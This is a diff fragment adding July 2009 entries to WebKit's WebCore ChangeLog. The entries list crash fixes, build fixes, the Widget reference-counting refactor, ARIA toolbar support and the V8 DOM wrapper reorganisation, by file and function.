+        (WebCore::MediaControlElement::updateStyle):
+        (WebCore::MediaControlInputElement::styleForElement):
+        (WebCore::MediaControlInputElement::attach):
+        (WebCore::MediaControlInputElement::updateStyle):
+        (WebCore::MediaControlTimeDisplayElement::MediaControlTimeDisplayElement):
+        (WebCore::MediaControlTimeDisplayElement::styleForElement):
+        (WebCore::MediaControlTimeDisplayElement::setVisible):
+        * rendering/MediaControlElements.h:
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::shouldShowTimeDisplayControls): Make sure
+        we take in account the zoom level when deciding if we should hide the 
+        ellapsed and remaining time.
+
+2009-07-09  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Darin Adler.
+
+        Fix chromium build bustage due to Widget being a RefCounted class.
+        https://bugs.webkit.org/show_bug.cgi?id=27139
+
+        * platform/chromium/PopupMenuChromium.cpp:
+        * platform/chromium/PopupMenuChromium.h:
+
+2009-07-09  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 27130 - Need to implement ARIA role="toolbar"
+        https://bugs.webkit.org/show_bug.cgi?id=27130
+
+        Test: platform/mac/accessibility/aria-toolbar.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::RoleEntry::):
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper roleDescription]):
+
+2009-07-09  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [Chromium] Upstream WebCore.gypi, the project file for Chromium build.
+        https://bugs.webkit.org/show_bug.cgi?id=27135
+
+        * WebCore.gypi: Added.
+
+2009-07-09  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        A more robust fix for <rdar://problem/6930280> Reproducible crash at
+        USA Today photo gallery
+
+        Reviewed by Steve Falkenburg.
+
+        * plugins/win/PluginMessageThrottlerWin.cpp:
+        (WebCore::PluginMessageThrottlerWin::messageThrottleTimerFired):
+        Protect the PluginView from destruction before calling its window proc.
+
+2009-07-09  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        <rdar://problem/6978804> WER #16: Repro Access Violation in
+        WebCore::PluginView::bindingInstance (1310178023)
+
+        Reviewed by Darin Adler.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::bindingInstance):
+        Protect the PluginView from destruction before calling NPN_GetValue. If
+        the renderer for the PluginView was destroyed during the call, and the
+        PluginView's ref count is now 1, return null.
+
+2009-07-09  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Speculative fix for <rdar://problem/6991251> WER #13: Crash in
+        WebKit!WebCore::PluginView::performRequest+203 (1311461169)
+
+        Reviewed by Darin Adler.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::performRequest):
+        Protect the PluginView from destruction before performing a load.
+        Removed some trailing whitespace.
+
+2009-07-09  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Build fix.
+
+        * inspector/JavaScriptDebugServer.cpp:
+        (WebCore::JavaScriptDebugServer::setJavaScriptPaused):
+
+2009-07-09  Beth Dakin and Jon Honeycutt <bdakin@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Make Widget RefCounted to fix or make fixable:
+
+        <rdar://problem/7038831> REGRESSION (TOT): In Mail, a crash occurs 
+        at WebCore::Widget::afterMouseDown() after clicking To Do's close 
+        box
+        <rdar://problem/6978804> WER #16: Repro Access Violation in 
+        WebCore::PluginView::bindingInstance (1310178023)
+        -and-
+        <rdar://problem/6991251> WER #13: Crash in WebKit!
+        WebCore::PluginView::performRequest+203 (1311461169) 
+
+        * loader/EmptyClients.h:
+        (WebCore::EmptyFrameLoaderClient::createPlugin):
+        Changed to return PassRefPtr
+        (WebCore::EmptyFrameLoaderClient::createJavaAppletWidget):
+        Ditto.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadSubframe):
+        (WebCore::FrameLoader::loadPlugin):
+        Make the widget variable a RefPtr. Use .get() when passing it to
+        RenderPart::setWidget().
+        (WebCore::FrameLoader::createJavaAppletWidget):
+        Make the widget variable a RefPtr.
+
+        * loader/FrameLoader.h:
+        Changed the return type of createJavaAppletWidget().
+
+        * loader/FrameLoaderClient.h:
+        Change the return types of createPlugin() and 
+        createJavaAppletWidget().
+
+        * page/Frame.cpp:
+        (WebCore::Frame::createView):
+        No need to call .get() since setWidget() takes a RefPtr.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layoutIfNeededRecursive):
+        children() now returns a HashSet of RefPtrs.
+
+        * page/FrameView.h:
+        Remove inheritance from RefCounted; we pick this up from ScrollView
+        through Widget.
+
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::addChild):
+        addChild() now takes a PassRefPtr and m_children now keeps a 
+        HashSet of RefPtrs.
+
+        * platform/ScrollView.h:
+        ScrollView constructor is now protected.
+        (WebCore::ScrollView::children):
+        m_children is now a HashSet of RefPtrs.
+
+        * platform/Scrollbar.h:
+        Remove inheritance from RefCounted; we pick this up from ScrollView
+        through Widget.
+
+        * platform/Widget.h:
+        Inherit from RefCounted. Cleaned up some whitespace. Make m_widget 
+        a RefPtr.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::create):
+        Adopt the PluginView when returning it.
+
+        * plugins/PluginView.h:
+        Changed create() to return a PassRefPtr.
+
+        * rendering/RenderApplet.cpp:
+        Receive result in a RefPtr when calling createJavaAppletWidget().
+
+        * rendering/RenderPart.cpp:
+        (WebCore::RenderPart::setWidget): 
+        setWidget() now takes a PassRefPtr. Also removed the manual ref of 
+        FrameViews. This is handled by having m_widget be a RefPtr. Removed 
+        deleteWidget().
+
+        * rendering/RenderPart.h:
+        Removed override of deleteWidget().
+
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::destroy):
+        (WebCore::RenderWidget::setWidget):
+        (WebCore::RenderWidget::paint):
+        (WebCore::RenderWidget::setOverlapTestResult):
+        (WebCore::RenderWidget::updateWidgetPosition):
+        Use .get().
+        (WebCore::RenderWidget::clearWidget):
+        Don't call deleteWidget(). It was removed. 
+
+        * rendering/RenderWidget.h:
+        Removed deleteWidget(). Made m_widget a RefPtr.
+        (WebCore::RenderWidget::widget):
+        Use .get().
+
+2009-07-09  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 27129 - AX: possible assertion for a non-native image in accessibility
+        https://bugs.webkit.org/show_bug.cgi?id=27129 
+
+        It's possible for an image that is not really an image to assert, because its renderer
+        is turned into a RenderImage.
+
+        Test: accessibility/non-native-image-crash.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        (WebCore::RoleEntry::):
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper roleDescription]):
+
+2009-07-09  Simon Fraser  <simon.fraser@apple.com>
+
+        Build fix for SnowLeopard.
+        
+        Avoid using the contentsTransform methods if not on Leopard, because
+        we don't need to call them.
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::updateContentsTransform):
+        * platform/graphics/mac/WebLayer.mm:
+        (-[WebLayer setNeedsDisplayInRect:]):
+        * platform/graphics/mac/WebTiledLayer.mm:
+        (-[WebTiledLayer setNeedsDisplayInRect:]):
+
+2009-07-09  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt
+
+        Improve the appearance of text in compositing layers when -[CALayer geometryFlipped]
+        is not available.
+        <rdar://problem/6120614>
+
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::setContentsOrientation):
+        (WebCore::GraphicsLayer::contentsOrientation):
+        * platform/graphics/GraphicsLayer.cpp:
+        (WebCore::GraphicsLayer::GraphicsLayer):
+        Add a m_contentsOrientation member and getter/setter to control whether
+        the contents of this layer have a transform applied to them before display.
+
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        New method to return the default contents orientation.
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::flipTransform):
+        Convenience method to return a transform with a Y flip.
+
+        (WebCore::GraphicsLayerCA::GraphicsLayerCA):
+        (WebCore::GraphicsLayerCA::setSize):
+        After the size changes we have to update the contentsTransform.
+
+        (WebCore::GraphicsLayerCA::setGeometryOrientation):
+        (WebCore::GraphicsLayerCA::geometryOrientation):
+        If -setGeometryFlipped: is not available, use a children transform.
+        
+        (WebCore::GraphicsLayerCA::swapFromOrToTiledLayer):
+        Tiled layers have issues with flipped contentsTransform, so just use
+        top-down drawing for them. Call updateContentsTransform() to set the
+        new contents transform after swapping layers.
+        
+        (WebCore::GraphicsLayerCA::defaultContentsOrientation):
+        Use bottom-up when -geometryFlipped is not available, otherwise top-down.
+        
+        (WebCore::GraphicsLayerCA::updateContentsTransform):
+        Set the layer contents transform based on contentsOrientation().
+
+        (WebCore::GraphicsLayerCA::setContentsLayer):
+        We have to manually flip contents layers if we're not using -geometryFlipped.
+        
+        * platform/graphics/mac/WebLayer.h:
+        * platform/graphics/mac/WebLayer.mm:
+        Do early return if layerContents is nil. Flip the CTM if the layer has
+        bottom-up coordinates, so that CG sees a CTM with no flip.
+        Do the CGContextRestoreGState() after drawing the debug indicator.
+        
+        (-[WebLayer setNeedsDisplayInRect:]):
+        * platform/graphics/mac/WebTiledLayer.mm:
+        (-[WebTiledLayer setNeedsDisplayInRect:]):
+        Need to map the dirty rect through the contentsTransform.
+
+2009-07-09  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Geoff Garen.
+
+        <rdar://problem/6921671> Visit counter shouldn't be incremented by redirects.
+
+        Can't test this functionality with layout tests.
+
+        * WebCore.base.exp:
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::recordVisitAtTime):
+        (WebCore::HistoryItem::visited):
+        * history/HistoryItem.h:
+        Only increase visit count if explicitly told to. Now, some visits change last access time,
+        but do not increase visit count.
+
+2009-07-09  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7046098> MediaControllerThemeQT requires QuickTime 7.6.3
+
+        Require QuickTime 7.6.3 or higher to enable the new media controller UI.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::mediaControllerTheme):
+
+2009-07-09  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Beth Dakin.
+
+        Remove incorrect comment.
+
+        * page/MouseEventWithHitTestResults.h:
+
+2009-07-09  Mads Ager  <ager@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Update the V8 bindings codegenerator to use the RGBColor::create
+        method to handle refcounts for RGBColor objects correctly.
+        
+       * bindings/scripts/CodeGeneratorV8.pm: Use RGBColor::create to create RGBColor objects.
+
+2009-07-09  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Crash in RenderMedia::styleDidChange.
+        <rdar://problem/7044313> CrashTracer: quicklook crashed generating thumbnail for page with 
+        media element (RenderMedia::styleDidChange 115)
+
+        Speculative fix for crash in styleDidChange. Null check controller elements before tell
+        them to update style.
+
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::styleDidChange):
+
+2009-07-09  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Move V8DOMWrapper to its own file
+        https://bugs.webkit.org/show_bug.cgi?id=27121
+
+        * bindings/v8/V8DOMWrapper.cpp: Added.
+        (WebCore::GetToStringName):
+        (WebCore::ConstructorToString):
+        (WebCore::V8DOMWrapper::convertSVGElementInstanceToV8Object):
+        (WebCore::V8DOMWrapper::convertSVGObjectWithContextToV8Object):
+        (WebCore::V8DOMWrapper::domObjectHasJSWrapper):
+        (WebCore::V8DOMWrapper::setJSWrapperForDOMObject):
+        (WebCore::V8DOMWrapper::setJSWrapperForActiveDOMObject):
+        (WebCore::V8DOMWrapper::setJSWrapperForDOMNode):
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8DOMWrapper::convertToV8Object):
+        (WebCore::V8DOMWrapper::setHiddenWindowReference):
+        (WebCore::V8DOMWrapper::domWrapperType):
+        (WebCore::V8DOMWrapper::convertToNativeObjectImpl):
+        (WebCore::V8DOMWrapper::convertToSVGPODTypeImpl):
+        (WebCore::V8DOMWrapper::lookupDOMWrapper):
+        (WebCore::V8DOMWrapper::convertDOMWrapperToNodeHelper):
+        (WebCore::V8DOMWrapper::wrapNativeNodeFilter):
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        (WebCore::V8DOMWrapper::setDOMWrapper):
+        (WebCore::V8DOMWrapper::maybeDOMWrapper):
+        (WebCore::V8DOMWrapper::isDOMEventWrapper):
+        (WebCore::V8DOMWrapper::isWrapperOfType):
+        (WebCore::V8DOMWrapper::htmlElementType):
+        (WebCore::V8DOMWrapper::svgElementType):
+        (WebCore::V8DOMWrapper::convertEventToV8Object):
+        (WebCore::):
+        (WebCore::V8DOMWrapper::convertNodeToV8Object):
+        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
+        (WebCore::V8DOMWrapper::convertEventListenerToV8Object):
+        (WebCore::V8DOMWrapper::convertDOMImplementationToV8Object):
+        (WebCore::V8DOMWrapper::convertStyleSheetToV8Object):
+        (WebCore::V8DOMWrapper::convertCSSValueToV8Object):
+        (WebCore::V8DOMWrapper::convertCSSRuleToV8Object):
+        (WebCore::V8DOMWrapper::convertWindowToV8Object):
+        * bindings/v8/V8DOMWrapper.h: Added.
+        (WebCore::V8DOMWrapper::convertDOMWrapperToNative):
+        (WebCore::V8DOMWrapper::wrapCPointer):
+        (WebCore::V8DOMWrapper::extractCPointer):
+        (WebCore::V8DOMWrapper::convertDOMWrapperToNode):
+        (WebCore::V8DOMWrapper::convertToV8Object):
+        (WebCore::V8DOMWrapper::convertToNativeObject):
+        (WebCore::V8DOMWrapper::convertToNativeEvent):
+        (WebCore::V8DOMWrapper::extractCPointerImpl):
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        * bindings/v8/V8Proxy.cpp:
+        * bindings/v8/V8Proxy.h:
+
+2009-07-09  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Crash in setFocusedFrame.
+        <rdar://7032869> Crashing in setFocusedFrame on blogger.com.
+
+        Speculative fix for crasher in setFocusedFrame.  Make sure to ref both frames and fire
+        the events only after the local member has been updated.
+
+        * page/FocusController.cpp:
+        (WebCore::FocusController::setFocusedFrame):
+
+2009-07-09  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Possible crashes when mouse clicks not dispatched because range input destroyed while 
+        thumb is being dragged (e.g. scrub to end of movie)
+        <rdar://problem/7037494> 
+        https://bugs.webkit.org/show_bug.cgi?id=27101
+
+        Some shadow nodes "capture" all mouse events from mouseDown to mouseUp so they continue to 
+        get mouse events even when the mouse is moved outside of the node. This is done by putting
+        EventHandler into a mode where it sends all mouse events to the node regardless of the
+        actual mouse position. The mode is set on mouseDown and cleared on mouseUp but if the
+        node is deleted while in this mode, the mouseUp is never sent and EventHandler continues
+        to try to send events to the deleted node. This sometimes results in a crash, and sometimes
+        in a page that doesn't respond to click events.
+
+        Tests: fast/forms/search-delete-while-cancel-button-clicked.html
+               fast/forms/slider-delete-while-dragging-thumb.html
+               media/audio-delete-while-slider-thumb-clicked.html
+               media/audio-delete-while-step-button-clicked.html
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlSeekButtonElement::detach):
+            New, call setCapturingMouseEventsNode if capturing mouse events.
+        * rendering/MediaControlElements.h:
+            Declare detach().
+
+        * rendering/RenderSlider.cpp:
+        (WebCore::SliderThumbElement::detach):
+            New, call setCapturingMouseEventsNode if capturing mouse events.
+
+        * rendering/TextControlInnerElements.cpp:
+        (WebCore::SearchFieldCancelButtonElement::detach):
+            New, call setCapturingMouseEventsNode if capturing mouse events.
+        * rendering/TextControlInnerElements.h:
+            Declare detach().
+
+2009-07-09  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Enter the Frame's context before creating new objects in setContextDebugId.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27112
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::setContextDebugId):
+
+2009-07-09  Simon Hausmann  <hausmann@webkit.org>
+
+        Fix the Qt build.
+
+        * WebCore.pro: Add new storage impl files to the build.
+
+2009-07-08  Adam Barth  <abarth@webkit.org>
+
+        Rubber stamped by Eric Seidel.
+
+        [V8] Move DOM wrapper functions in V8Proxy to V8DOMWrapper
+        https://bugs.webkit.org/show_bug.cgi?id=27107
+
+        This patch is just renaming.  Code motion will occur next.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::processingUserGesture):
+        (WebCore::createScriptObject):
+        (WebCore::ScriptController::createScriptObjectForPluginElement):
+        * bindings/v8/ScriptObject.cpp:
+        (WebCore::ScriptGlobalObject::set):
+        * bindings/v8/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::handleEvent):
+        (WebCore::V8AbstractEventListener::getReceiverObject):
+        * bindings/v8/V8Collection.cpp:
+        (WebCore::toOptionsCollectionSetter):
+        * bindings/v8/V8Collection.h:
+        (WebCore::getV8Object):
+        (WebCore::getNamedPropertyOfCollection):
+        (WebCore::nodeCollectionNamedPropertyGetter):
+        (WebCore::getIndexedPropertyOfCollection):
+        (WebCore::nodeCollectionIndexedPropertyGetter):
+        (WebCore::nodeCollectionIndexedPropertyEnumerator):
+        (WebCore::collectionIndexedPropertyEnumerator):
+        (WebCore::collectionStringOrNullIndexedPropertyGetter):
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::DOMData::handleWeakObject):
+        (WebCore::DOMData::removeObjectsFromWrapperMap):
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::enumerateDOMObjectMap):
+        (WebCore::DOMObjectVisitor::visitDOMWrapper):
+        (WebCore::GCPrologueVisitor::visitDOMWrapper):
+        (WebCore::GCEpilogueVisitor::visitDOMWrapper):
+        * bindings/v8/V8Helpers.cpp:
+        (WebCore::wrapNPObject):
+        * bindings/v8/V8NodeFilterCondition.cpp:
+        (WebCore::V8NodeFilterCondition::acceptNode):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8DOMWrapper::convertSVGElementInstanceToV8Object):
+        (WebCore::V8DOMWrapper::convertSVGObjectWithContextToV8Object):
+        (WebCore::V8DOMWrapper::domObjectHasJSWrapper):
+        (WebCore::V8DOMWrapper::setJSWrapperForDOMObject):
+        (WebCore::V8DOMWrapper::setJSWrapperForActiveDOMObject):
+        (WebCore::V8DOMWrapper::setJSWrapperForDOMNode):
+        (WebCore::V8Proxy::evaluateInNewContext):
+        (WebCore::V8Proxy::getConstructor):
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8Proxy::retrieveWindow):
+        (WebCore::V8Proxy::updateDocumentWrapperCache):
+        (WebCore::V8Proxy::clearForNavigation):
+        (WebCore::V8Proxy::installDOMWindow):
+        (WebCore::setDOMExceptionHelper):
+        (WebCore::V8DOMWrapper::convertToV8Object):
+        (WebCore::V8DOMWrapper::setHiddenWindowReference):
+        (WebCore::V8DOMWrapper::domWrapperType):
+        (WebCore::V8DOMWrapper::convertToNativeObjectImpl):
+        (WebCore::V8DOMWrapper::convertToSVGPODTypeImpl):
+        (WebCore::V8DOMWrapper::lookupDOMWrapper):
+        (WebCore::V8DOMWrapper::convertDOMWrapperToNodeHelper):
+        (WebCore::V8DOMWrapper::wrapNativeNodeFilter):
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        (WebCore::V8DOMWrapper::setDOMWrapper):
+        (WebCore::V8DOMWrapper::maybeDOMWrapper):
+        (WebCore::V8DOMWrapper::isDOMEventWrapper):
+        (WebCore::V8DOMWrapper::isWrapperOfType):
+        (WebCore::V8DOMWrapper::htmlElementType):
+        (WebCore::V8DOMWrapper::svgElementType):
+        (WebCore::V8DOMWrapper::convertEventToV8Object):
+        (WebCore::V8DOMWrapper::convertNodeToV8Object):
+        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
+        (WebCore::V8DOMWrapper::convertEventListenerToV8Object):
+        (WebCore::V8DOMWrapper::convertDOMImplementationToV8Object):
+        (WebCore::V8DOMWrapper::convertStyleSheetToV8Object):
+        (WebCore::V8DOMWrapper::convertCSSValueToV8Object):
+        (WebCore::V8DOMWrapper::convertCSSRuleToV8Object):
+        (WebCore::V8DOMWrapper::convertWindowToV8Object):
+        (WebCore::V8Proxy::bindJsObjectToWindow):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8DOMWrapper::convertDOMWrapperToNative):
+        (WebCore::V8DOMWrapper::wrapCPointer):
+        (WebCore::V8DOMWrapper::extractCPointer):
+        (WebCore::V8DOMWrapper::convertDOMWrapperToNode):
+        (WebCore::V8DOMWrapper::convertToV8Object):
+        (WebCore::V8DOMWrapper::convertToNativeObject):
+        (WebCore::V8DOMWrapper::convertToNativeEvent):
+        (WebCore::V8DOMWrapper::extractCPointerImpl):
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        (WebCore::V8Proxy::constructDOMObject):
+        (WebCore::toV8):
+        * bindings/v8/V8SVGPODTypeWrapper.h:
+        (WebCore::V8SVGPODTypeUtil::toSVGPODType):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::retrieve):
+        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
+        (WebCore::WorkerContextExecutionProxy::GetConstructor):
+        (WebCore::WorkerContextExecutionProxy::ToV8Object):
+        (WebCore::WorkerContextExecutionProxy::EventToV8Object):
+        (WebCore::WorkerContextExecutionProxy::toV8):
+        * bindings/v8/custom/V8AttrCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasPixelArrayCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        (WebCore::toV8):
+        (WebCore::toCanvasStyle):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8ClientRectListCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8ClipboardCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8CustomBinding.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::INDEXED_ACCESS_CHECK):
+        (WebCore::NAMED_ACCESS_CHECK):
+        (WebCore::V8Custom::GetTargetFrame):
+        * bindings/v8/custom/V8CustomSQLStatementCallback.cpp:
+        (WebCore::V8CustomSQLStatementCallback::handleEvent):
+        * bindings/v8/custom/V8CustomSQLStatementErrorCallback.cpp:
+        (WebCore::V8CustomSQLStatementErrorCallback::handleEvent):
+        * bindings/v8/custom/V8CustomSQLTransactionCallback.cpp:
+        (WebCore::V8CustomSQLTransactionCallback::handleEvent):
+        * bindings/v8/custom/V8CustomSQLTransactionErrorCallback.cpp:
+        (WebCore::V8CustomSQLTransactionErrorCallback::handleEvent):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::V8Custom::ClearTimeoutImpl):
+        (WebCore::NAMED_ACCESS_CHECK):
+        (WebCore::INDEXED_ACCESS_CHECK):
+        * bindings/v8/custom/V8DatabaseCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8DocumentLocationCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::ACCESSOR_GETTER):
+        * bindings/v8/custom/V8EventCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::ACCESSOR_GETTER):
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
+        (WebCore::getNamedItems):
+        (WebCore::getItem):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::ACCESSOR_GETTER):
+        * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8HTMLFrameSetElementCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLInputElementCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_SETTER):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8HTMLSelectElementCollectionCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::removeElement):
+        * bindings/v8/custom/V8InspectorControllerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_ACCESS_CHECK):
+        (WebCore::NAMED_ACCESS_CHECK):
+        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NamedNodeMapCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8NavigatorCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        * bindings/v8/custom/V8NodeCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NodeIteratorCustom.cpp:
+        (WebCore::toV8):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NodeListCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8SQLResultSetRowListCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SVGLengthCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SVGMatrixCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8StorageCustom.cpp:
+        (WebCore::V8Custom::v8StorageNamedPropertyEnumerator):
+        (WebCore::storageGetter):
+        (WebCore::storageSetter):
+        (WebCore::storageDeleter):
+        * bindings/v8/custom/V8StyleSheetListCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
+        (WebCore::toV8):
